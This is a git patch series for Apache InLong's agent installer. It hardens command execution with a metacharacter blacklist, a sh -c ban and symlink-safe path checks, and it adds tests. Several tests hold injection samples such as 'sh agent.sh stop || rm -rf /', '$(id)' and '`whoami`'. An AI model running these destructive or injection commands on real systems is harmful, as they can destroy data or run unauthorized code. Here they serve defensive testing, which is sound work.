expandTilde_shouldReplaceHomePrefixOnly() { + String home = System.getProperty("user.home"); + Assert.assertEquals(home, ModuleCommandValidator.expandTilde("~")); + Assert.assertEquals(home + "/foo", ModuleCommandValidator.expandTilde("~/foo")); + Assert.assertEquals("/abs/path", ModuleCommandValidator.expandTilde("/abs/path")); + // Do not replace non-prefix tildes. + Assert.assertEquals("a~b", ModuleCommandValidator.expandTilde("a~b")); + } + + private void assertRejected(ValidationResult r, String expectedRule) { + Assert.assertFalse("expected rejected, got " + r, r.isOk()); + Assert.assertEquals("rule name mismatch, msg=" + r.getMessage(), + expectedRule, r.getRuleName()); + } +} From f8c412321fc163b8f8ea837c460b58c1a5ec3b44 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Tue, 7 Jul 2026 11:33:11 +0800 Subject: [PATCH 02/10] [INLONG-12148][Improve] [Agent] fetchLocalUuid fallback (#12148) --- .../apache/inlong/agent/utils/AgentUtils.java | 32 ++++++++++++++++-- .../inlong/agent/common/TestAgentUtils.java | 33 ++++++++++++++++++- 2 files changed, 61 insertions(+), 4 deletions(-) diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java index f3209a5190c..5257ad99287 100644 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java @@ -37,6 +37,7 @@ import java.text.SimpleDateFormat; import java.time.ZonedDateTime; import java.time.format.DateTimeFormatter; +import java.util.Arrays; import java.util.HashMap; import java.util.Locale; import java.util.Map; @@ -314,6 +315,9 @@ public static String fetchLocalIp() { return AgentConfiguration.getAgentConf().get(AgentConstants.AGENT_LOCAL_IP, getLocalIp()); } + private static final String UUID_REGEX = + "^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$"; + /** * Check agent uuid from manager */ @@ -330,13 +334,35 @@ public static String fetchLocalUuid() { return uuid; } String result = ExcuteLinux.exeCmd(new String[]{"dmidecode", "-s", "system-uuid"}); - if (StringUtils.isEmpty(result)) { - return uuid; + if (StringUtils.isNotEmpty(result)) { + result = result.trim(); + if (result.matches(UUID_REGEX)) { + return result; + } } - uuid = result.trim(); } catch (Exception e) { LOGGER.error("fetch uuid error", e); } + + try { + String result = ExcuteLinux.exePipedCmd( + Arrays.asList( + new String[]{"dmidecode"}, + new String[]{"grep", "UUID"}), + null, 0); + if (StringUtils.isNotEmpty(result) && StringUtils.containsIgnoreCase(result, "UUID")) { + String[] parts = result.split(":"); + if (parts.length >= 2) { + String fallbackUuid = parts[1].trim(); + if (fallbackUuid.matches(UUID_REGEX)) { + return fallbackUuid; + } + } + } + } catch (Exception e) { + LOGGER.warn("dmidecode | grep UUID failed", e); + } + return uuid; } diff --git a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java index 2987ca88fec..ece3c023e87 100755 --- a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java +++ b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java @@ -98,4 +98,35 @@ public void testCustomFixedIp() { String ip = AgentUtils.fetchLocalIp(); Assert.assertNotEquals("127.0.0.1", ip); } -} + + @Test + public void testUuidRegex() throws Exception { + java.lang.reflect.Field field = AgentUtils.class.getDeclaredField("UUID_REGEX"); + field.setAccessible(true); + String regex = (String) field.get(null); + + // valid standard UUIDs (mixed case) + Assert.assertTrue("standard lowercase should match", + java.util.regex.Pattern.matches(regex, "25a76f3a-f83c-49af-8bd8-f921d1887dcf")); + Assert.assertTrue("standard uppercase should match", + java.util.regex.Pattern.matches(regex, "550E8400-E29B-41D4-A716-446655440000")); + Assert.assertTrue("mixed case should match", + java.util.regex.Pattern.matches(regex, "550e8400-E29b-41d4-a716-446655440000")); + + // invalid cases + Assert.assertFalse("empty string should not match", + java.util.regex.Pattern.matches(regex, "")); + Assert.assertFalse("plain string should not match", + java.util.regex.Pattern.matches(regex, "not-a-uuid")); + Assert.assertFalse("too short should not match", + java.util.regex.Pattern.matches(regex, "550e8400-e29b-41d4-a716-44665544")); + Assert.assertFalse("missing hyphens should not match", + java.util.regex.Pattern.matches(regex, "550e8400e29b41d4a716446655440000")); + Assert.assertFalse("extra segment should not match", + java.util.regex.Pattern.matches(regex, "25a76f3a-f83c-49af-8bd8-f921d1887dcf-extra")); + Assert.assertFalse("non-hex chars should not match", + java.util.regex.Pattern.matches(regex, "550e8g00-e29b-41d4-a716-446655440000")); + Assert.assertFalse("newline prefix should not match", + java.util.regex.Pattern.matches(regex, "\n550e8400-e29b-41d4-a716-446655440000")); + } +} \ No newline at end of file From 5b54ea20e720459e4041c840c151a55094ff2b44 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Tue, 7 Jul 2026 11:34:22 +0800 Subject: [PATCH 03/10] [INLONG-12148][Improve] [Agent] fix ExecuteLinux spell error (#12148) --- .../java/org/apache/inlong/agent/utils/AgentUtils.java | 4 ++-- .../utils/{ExcuteLinux.java => ExecuteLinux.java} | 6 +++--- .../apache/inlong/agent/core/AgentStatusManager.java | 4 ++-- .../apache/inlong/agent/installer/ModuleManager.java | 10 +++++----- 4 files changed, 12 insertions(+), 12 deletions(-) rename inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/{ExcuteLinux.java => ExecuteLinux.java} (99%) diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java index 5257ad99287..533de4c95c8 100644 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java @@ -333,7 +333,7 @@ public static String fetchLocalUuid() { uuid = localUuid; return uuid; } - String result = ExcuteLinux.exeCmd(new String[]{"dmidecode", "-s", "system-uuid"}); + String result = ExecuteLinux.exeCmd(new String[]{"dmidecode", "-s", "system-uuid"}); if (StringUtils.isNotEmpty(result)) { result = result.trim(); if (result.matches(UUID_REGEX)) { @@ -345,7 +345,7 @@ public static String fetchLocalUuid() { } try { - String result = ExcuteLinux.exePipedCmd( + String result = ExecuteLinux.exePipedCmd( Arrays.asList( new String[]{"dmidecode"}, new String[]{"grep", "UUID"}), diff --git a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java similarity index 99% rename from inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java rename to inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java index 0c6188380e0..e90418bdf84 100644 --- a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java +++ b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java @@ -51,9 +51,9 @@ *

Piping is emulated by chaining several {@link ProcessBuilder} instances via background * threads that copy stdout to the next process's stdin, so no shell is required.

*/ -public class ExcuteLinux { +public class ExecuteLinux { - private static final Logger logger = LoggerFactory.getLogger(ExcuteLinux.class); + private static final Logger logger = LoggerFactory.getLogger(ExecuteLinux.class); /** Default command execution timeout in milliseconds. */ public static final long DEFAULT_TIMEOUT_MS = 60_000L; @@ -61,7 +61,7 @@ public class ExcuteLinux { /** Maximum number of bytes of stderr kept in log output (truncated beyond this). */ private static final int STDERR_LOG_MAX_BYTES = 1024; - private ExcuteLinux() { + private ExecuteLinux() { } /** diff --git a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java index 33a8d8ef4d2..b3a7a69adc6 100644 --- a/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java +++ b/inlong-agent/agent-core/src/main/java/org/apache/inlong/agent/core/AgentStatusManager.java @@ -23,7 +23,7 @@ import org.apache.inlong.agent.core.task.TaskManager; import org.apache.inlong.agent.metrics.audit.AuditUtils; import org.apache.inlong.agent.utils.AgentUtils; -import org.apache.inlong.agent.utils.ExcuteLinux; +import org.apache.inlong.agent.utils.ExecuteLinux; import org.apache.inlong.sdk.dataproxy.common.ProcessResult; import org.apache.inlong.sdk.dataproxy.sender.tcp.TcpEventInfo; import org.apache.inlong.sdk.dataproxy.sender.tcp.TcpMsgSender; @@ -143,7 +143,7 @@ public String getFieldsString() { private String systemStartupTime = safeUptime(); private static String safeUptime() { - String r = ExcuteLinux.exeCmd(new String[]{"uptime", "-s"}); + String r = ExecuteLinux.exeCmd(new String[]{"uptime", "-s"}); return r == null ? "" : r.replaceAll("\r|\n", ""); } diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java index 705e3f9cfa4..b34c70ca4fd 100755 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java @@ -26,7 +26,7 @@ import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; import org.apache.inlong.agent.metrics.audit.AuditUtils; import org.apache.inlong.agent.utils.AgentUtils; -import org.apache.inlong.agent.utils.ExcuteLinux; +import org.apache.inlong.agent.utils.ExecuteLinux; import org.apache.inlong.agent.utils.HttpManager; import org.apache.inlong.agent.utils.ThreadUtils; import org.apache.inlong.common.pojo.agent.installer.ConfigResult; @@ -600,11 +600,11 @@ private CommandExecResult runValidatedCommand(ModuleConfig module, String cmdNam if (sub.isPiped()) { // Piped sub-command: chain multiple ProcessBuilder instances on the Java side // via exePipedCmd. - stdout = ExcuteLinux.exePipedCmd(sub.getPipeline(), sub.getWorkDir(), - ExcuteLinux.DEFAULT_TIMEOUT_MS); + stdout = ExecuteLinux.exePipedCmd(sub.getPipeline(), sub.getWorkDir(), + ExecuteLinux.DEFAULT_TIMEOUT_MS); } else { - stdout = ExcuteLinux.exeCmd(java.util.Arrays.asList(sub.getArgv()), sub.getWorkDir(), - ExcuteLinux.DEFAULT_TIMEOUT_MS); + stdout = ExecuteLinux.exeCmd(java.util.Arrays.asList(sub.getArgv()), sub.getWorkDir(), + ExecuteLinux.DEFAULT_TIMEOUT_MS); } long costMs = (System.nanoTime() - startNs) / 1_000_000L; From 44d9b5ccf021e6c82f037ce51c83f1b9384e30eb Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Tue, 7 Jul 2026 12:03:27 +0800 Subject: [PATCH 04/10] [INLONG-12148][Improve] [Agent] use toRealPath for symlink path (#12148) --- .../validator/AllowedRootsResolver.java | 77 ++++++++- .../installer/AllowedRootsResolverTest.java | 153 +++++++++++++++++- 2 files changed, 223 insertions(+), 7 deletions(-) diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java index 2062747434f..f2f45490414 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java @@ -17,14 +17,16 @@ package org.apache.inlong.agent.installer.validator; -import lombok.Getter; import org.apache.inlong.agent.constant.AgentConstants; import org.apache.inlong.agent.installer.conf.InstallerConfiguration; +import lombok.Getter; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import java.io.IOException; +import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Collections; @@ -133,20 +135,71 @@ private static void addRoot(Set roots, Path p) { if (p == null) { return; } - Path normalized = p.toAbsolutePath().normalize(); - roots.add(normalized); + Path absolute = p.toAbsolutePath(); + try { + roots.add(absolute.toRealPath()); + } catch (IOException e) { + roots.add(absolute.normalize()); + } } /** * Test whether the given path lies under any allowed root (equal to a root also counts). + * Uses {@code Path#toRealPath()} when the path exists to defeat symlink-based bypass + * attempts. When the path does not exist yet (e.g. a {@code mkdir} target), it walks up + * to the nearest existing ancestor, resolves its real path, and splices the non-existent + * remainder back on before comparing. * - * @param p a path; it is made absolute and normalized internally before the comparison. + * @param p a path; it is made absolute internally before the comparison. */ public boolean isUnderAllowedRoot(Path p) { if (p == null) { return false; } - Path normalized = p.toAbsolutePath().normalize(); + Path absolute = p.toAbsolutePath(); + + // Path exists → resolve symlinks directly. + try { + Path real = absolute.toRealPath(); + for (Path root : roots) { + if (real.startsWith(root)) { + return true; + } + } + return false; + } catch (IOException e) { + // Path does not exist yet (e.g. mkdir /new/dir). Walk up to the nearest + // existing ancestor, resolve its real path, and splice the remainder back. + } + + Path existingParent = findExistingParent(absolute); + if (existingParent == null) { + // No part of the path exists; resort to normalize() only. + Path normalized = absolute.normalize(); + for (Path root : roots) { + if (normalized.startsWith(root)) { + return true; + } + } + return false; + } + + try { + Path realParent = existingParent.toRealPath(); + Path remainder = existingParent.relativize(absolute); + Path resolved = realParent.resolve(remainder).normalize(); + for (Path root : roots) { + if (resolved.startsWith(root)) { + return true; + } + } + } catch (IOException ex) { + LOGGER.warn("Cannot resolve real path for existing parent: {}", existingParent, ex); + } + // Fall back to simple normalize in case the root set itself contains + // non-resolved paths (e.g. when a root directory did not exist at + // addRoot time and was stored via normalize() only). + Path normalized = absolute.normalize(); for (Path root : roots) { if (normalized.startsWith(root)) { return true; @@ -155,4 +208,18 @@ public boolean isUnderAllowedRoot(Path p) { return false; } + /** + * Walk up the directory tree to find the nearest ancestor that actually exists. + * + * @param path an absolute path + * @return the first existing ancestor, or {@code null} if no part of the path exists + */ + private Path findExistingParent(Path path) { + Path current = path; + while (current != null && !Files.exists(current)) { + current = current.getParent(); + } + return current; + } + } diff --git a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java index a5c26803d7b..75c4fa2df5f 100644 --- a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java +++ b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java @@ -26,9 +26,13 @@ import org.junit.Before; import org.junit.Test; +import java.io.IOException; +import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; +import java.util.Comparator; import java.util.Set; +import java.util.stream.Stream; /** * Unit tests for {@link AllowedRootsResolver}. This class is the last line of the shell @@ -156,7 +160,7 @@ public void build_defaultRoots_shouldContainUserHomeAndTmp() { Assert.assertTrue("expected " + userHome + "/inlong-agent in " + roots, roots.contains(Paths.get(userHome, "inlong-agent").toAbsolutePath().normalize())); Assert.assertTrue("expected java.io.tmpdir in " + roots, - roots.contains(Paths.get(tmpDir).toAbsolutePath().normalize())); + roots.contains(toRealOrNormalized(Paths.get(tmpDir).toAbsolutePath()))); } /** @@ -213,7 +217,7 @@ public void build_noAgentHome_shouldSkipWithoutError() { AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); // At minimum the tmpdir default should still be there. Assert.assertTrue(resolver.getRoots().contains( - Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize())); + toRealOrNormalized(Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath()))); } /** @@ -250,4 +254,149 @@ public void build_extraAllowedRoots_blankValue_shouldBeIgnored() { AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); Assert.assertFalse(resolver.getRoots().isEmpty()); } + + // ------------------------------------------------------------------ + // Symlink bypass defence + // ------------------------------------------------------------------ + + /** + * When a path exists, {@link AllowedRootsResolver#isUnderAllowedRoot(Path)} must use + * {@code Path#toRealPath()} to defeat symlink-based bypass. A symlink inside the allowed + * root that points outside must not grant access to the outside target. + */ + @Test + public void symlinkBypass_existingPath_shouldBeRejected() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + // Create a directory outside the allowed root. + Path outside = base.resolve("outside"); + Files.createDirectory(outside); + Files.createFile(outside.resolve("secrets.txt")); + + // Create a symlink inside the root pointing to the outside dir. + Path symlink = root.resolve("workspace"); + Files.createSymbolicLink(symlink, outside); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // workspace/secrets.txt → outside/secrets.txt (outside root) → must reject. + Path evilPath = symlink.resolve("secrets.txt"); + Assert.assertTrue("should exist for this test", Files.exists(evilPath)); + Assert.assertFalse("symlink to outside root must be rejected for existing path", + resolver.isUnderAllowedRoot(evilPath)); + } finally { + deleteRecursively(base); + } + } + + /** + * When the target path does not exist yet (e.g. a {@code mkdir} payload) but an ancestor + * directory is a symlink pointing outside the allowed root, the resolver must walk up to + * the nearest existing parent, resolve its real path, and reject the spliced result. + */ + @Test + public void symlinkBypass_nonExistingPath_shouldBeRejected() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + // Outside directory acting as the symlink target. + Path outside = base.resolve("outside"); + Files.createDirectory(outside); + + // Symlink inside the allowed root → outside directory. + Path symlink = root.resolve("workspace"); + Files.createSymbolicLink(symlink, outside); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // workspace/malicious does not exist; workspace → outside → parent resolves + // to outside, remainder = malicious, must be rejected. + Path nonExistent = symlink.resolve("malicious"); + Assert.assertFalse("should not exist for this test", Files.exists(nonExistent)); + Assert.assertFalse("symlink parent pointing outside root must be rejected for non-existing path", + resolver.isUnderAllowedRoot(nonExistent)); + } finally { + deleteRecursively(base); + } + } + + /** + * A non-existent path whose existing ancestors are all genuine (no symlink) and lie + * under the allowed root must be accepted — this is the normal {@code mkdir} case. + */ + @Test + public void nonExistingPath_underGenuineRoot_shouldBeAccepted() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // safe/new_dir does not exist, parent "safe" is genuine → must accept. + Path newDir = root.resolve("new_dir"); + Assert.assertFalse("should not exist for this test", Files.exists(newDir)); + Assert.assertTrue("non-existent path under genuine root must be accepted", + resolver.isUnderAllowedRoot(newDir)); + } finally { + deleteRecursively(base); + } + } + + /** + * When no part of the path exists at all (including every ancestor up to the root), + * the resolver falls back to {@link Path#normalize()} and must still reject traversal + * attempts. + */ + @Test + public void fullyNonExistentPath_shouldFallBackToNormalize() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // /tmp/.../completely/nowhere does not exist and neither does any ancestor. + // Fallback to normalize: "../evil" resolves to outside root → reject. + Path nonExistent = base.resolve("completely/nowhere/../evil"); + Assert.assertFalse("should not exist for this test", Files.exists(nonExistent)); + Assert.assertFalse("path traversal via .. must be rejected in fallback path", + resolver.isUnderAllowedRoot(nonExistent)); + } finally { + deleteRecursively(base); + } + } + + // ------------------------------------------------------------------ + // Helpers + // ------------------------------------------------------------------ + + /** Resolve to real path when the path exists, otherwise normalize. */ + private static Path toRealOrNormalized(Path p) { + try { + return p.toRealPath(); + } catch (IOException e) { + return p.normalize(); + } + } + + private static void deleteRecursively(Path dir) throws IOException { + if (Files.exists(dir)) { + try (Stream stream = Files.walk(dir)) { + stream.sorted(Comparator.reverseOrder()) + .forEach(p -> { + try { + Files.delete(p); + } catch (IOException ignored) { + } + }); + } + } + } } From 64880e39e50f812448c18d15326bc6696ecfcd90 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Tue, 7 Jul 2026 14:14:53 +0800 Subject: [PATCH 05/10] [INLONG-12148][Improve] [Agent] add META_CHAR_BLACKLIST (#12148) --- .../validator/ModuleCommandValidator.java | 4 ++-- .../installer/ModuleCommandValidatorTest.java | 24 +++++++++++++++++++ 2 files changed, 26 insertions(+), 2 deletions(-) diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java index 92a73a94f97..a31fc90d1ff 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java @@ -71,7 +71,7 @@ private static Set buildImmutableSet(String... items) { /** Substring blacklist for the metacharacter check. */ private static final String[] META_CHAR_BLACKLIST = new String[]{ - "`", "$(", "&&", "||", ">>", ">", "<" + "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000" }; public static final String RULE_DISALLOWED_META_CHAR = "DISALLOWED_META_CHAR"; @@ -167,7 +167,7 @@ private ValidationResult validateArguments(String[] argv, String rawSegment) { if ("sh".equals(cmd) || "bash".equals(cmd)) { for (int i = 1; i < argv.length; i++) { - if ("-c".equals(argv[i]) || argv[i].startsWith("-c")) { + if (argv[i].startsWith("-c")) { return ValidationResult.fail(RULE_FORBIDDEN_SH_C_FLAG, rawSegment, cmd + " must not use -c to run inline scripts"); } diff --git a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java index cd4f4492b39..3a7cc67f0ee 100644 --- a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java +++ b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java @@ -181,6 +181,30 @@ public void backtick_shouldRejectByMetaChar() { assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); } + @Test + public void dollarBrace_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo ${HOME}"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void doublePipe_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("sh agent.sh stop || rm -rf /"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void backslash_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo hello\\ world"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void nullByte_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo foo\u0000bar"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + @Test public void redirect_shouldRejectByMetaChar() { ValidationResult r = validator.validate("cat ~/inlong/a > ~/inlong/b"); From 5ff82bcb0ee1d0815d0f665c426023e9805b245f Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Wed, 8 Jul 2026 22:53:45 +0800 Subject: [PATCH 06/10] [INLONG-12148][Improve] [Agent] fix change workdir and others validator (#12148) [INLONG-12148][Improve] [Agent] block glob wildcards * ? (#12148) --- .../inlong/agent/utils/ExecuteLinuxTest.java | 191 ++++++++++++ .../inlong/agent/installer/ModuleManager.java | 2 +- .../validator/ModuleCommandValidator.java | 266 +++++++++++++++-- .../installer/ModuleCommandValidatorTest.java | 273 ++++++++++++++++-- 4 files changed, 688 insertions(+), 44 deletions(-) create mode 100644 inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java diff --git a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java new file mode 100644 index 00000000000..a177000e6eb --- /dev/null +++ b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java @@ -0,0 +1,191 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.utils; + +import org.junit.Assert; +import org.junit.Assume; +import org.junit.BeforeClass; +import org.junit.Test; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +/* Unit tests for {@link ExecuteLinux}, focused on exePipedCmd. Requires Unix-like OS. */ +public class ExecuteLinuxTest { + + @BeforeClass + public static void assumeUnix() { + String os = System.getProperty("os.name").toLowerCase(); + Assume.assumeFalse("skip on Windows", os.contains("win")); + } + + /* ---------------- exePipedCmd: normal cases ---------------- */ + + @Test + public void pipedCmd_twoSegments_shouldStreamStdoutIntoNextStdin() { + List segments = Arrays.asList( + new String[]{"printf", "a\nb\nc\n"}, + new String[]{"grep", "b"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue("should contain matched line, got=" + out, out.contains("b")); + Assert.assertFalse("should not contain unmatched, got=" + out, out.contains("a")); + } + + @Test + public void pipedCmd_threeSegments_shouldChainCorrectly() { + List segments = Arrays.asList( + new String[]{"printf", "apple\nbanana\napricot\n"}, + new String[]{"grep", "ap"}, + new String[]{"wc", "-l"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertEquals("2", out.trim()); + } + + @Test + public void pipedCmd_largeOutput_shouldNotDeadlockNorTruncate() { + /* yes + head + wc: verifies pipe buffer never deadlocks with large stream */ + List segments = Arrays.asList( + new String[]{"yes", "x"}, + new String[]{"head", "-n", "2000"}, + new String[]{"wc", "-l"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertEquals("2000", out.trim()); + } + + @Test + public void pipedCmd_singleSegment_shouldFallbackToPlainExec() { + String out = ExecuteLinux.exePipedCmd( + Collections.singletonList(new String[]{"echo", "single"}), + null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("single")); + } + + /* ---------------- exePipedCmd: error / edge cases ---------------- */ + + @Test + public void pipedCmd_emptyOrNullSegments_shouldReturnNull() { + Assert.assertNull(ExecuteLinux.exePipedCmd(Collections.emptyList(), null, 1000L)); + Assert.assertNull(ExecuteLinux.exePipedCmd(null, null, 1000L)); + } + + @Test + public void pipedCmd_segmentWithEmptyArgv_shouldReturnNull() { + List segments = Arrays.asList( + new String[]{"echo", "hello"}, + new String[0]); + Assert.assertNull(ExecuteLinux.exePipedCmd(segments, null, 5000L)); + } + + @Test + public void pipedCmd_tailNonZeroExit_shouldReturnNull() { + /* grep with no match exits 1 -> tail exit non-zero -> null */ + List segments = Arrays.asList( + new String[]{"echo", "hello"}, + new String[]{"grep", "nonexistent"}); + String out = ExecuteLinux.exePipedCmd(segments, null, 5000L); + Assert.assertNull("tail non-zero exit must return null", out); + } + + @Test + public void pipedCmd_timeout_shouldReturnNullAndNotHang() { + List segments = Arrays.asList( + new String[]{"sleep", "30"}, + new String[]{"cat"}); + long begin = System.currentTimeMillis(); + String out = ExecuteLinux.exePipedCmd(segments, null, 500L); + long cost = System.currentTimeMillis() - begin; + Assert.assertNull("timeout should return null", out); + Assert.assertTrue("should finish < 3s, actual=" + cost + "ms", cost < 3000L); + } + + /* ---------------- exePipedCmd: security — metachars stay literal (no shell) ---------------- */ + + @Test + public void pipedCmd_semicolonInGrepPattern_shouldStayLiteralRegex() { + List segments = Arrays.asList( + new String[]{"printf", "prefix-AgentMain; echo INJECTED-suffix\nother\n"}, + new String[]{"grep", "AgentMain; echo INJECTED"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull("grep must match literal pattern (exit 0)", out); + Assert.assertTrue("output must contain matched line", out.contains("AgentMain; echo INJECTED")); + Assert.assertFalse("unmatched lines must be absent", out.contains("other")); + } + + @Test + public void pipedCmd_backtickInGrepPattern_shouldStayLiteral() { + List segments = Arrays.asList( + new String[]{"printf", "marker-`whoami`-suffix\n"}, + new String[]{"grep", "`whoami`"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("`whoami`")); + } + + @Test + public void pipedCmd_dollarParenInGrepPattern_shouldStayLiteral() { + List segments = Arrays.asList( + new String[]{"printf", "prefix-$(id)-suffix\n"}, + new String[]{"grep", "$(id)"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("$(id)")); + } + + @Test + public void pipedCmd_doubleAmpersandInGrepPattern_shouldStayLiteral() { + List segments = Arrays.asList( + new String[]{"printf", "marker-&&-suffix\n"}, + new String[]{"grep", "&&"}); + String out = ExecuteLinux.exePipedCmd(segments, null, 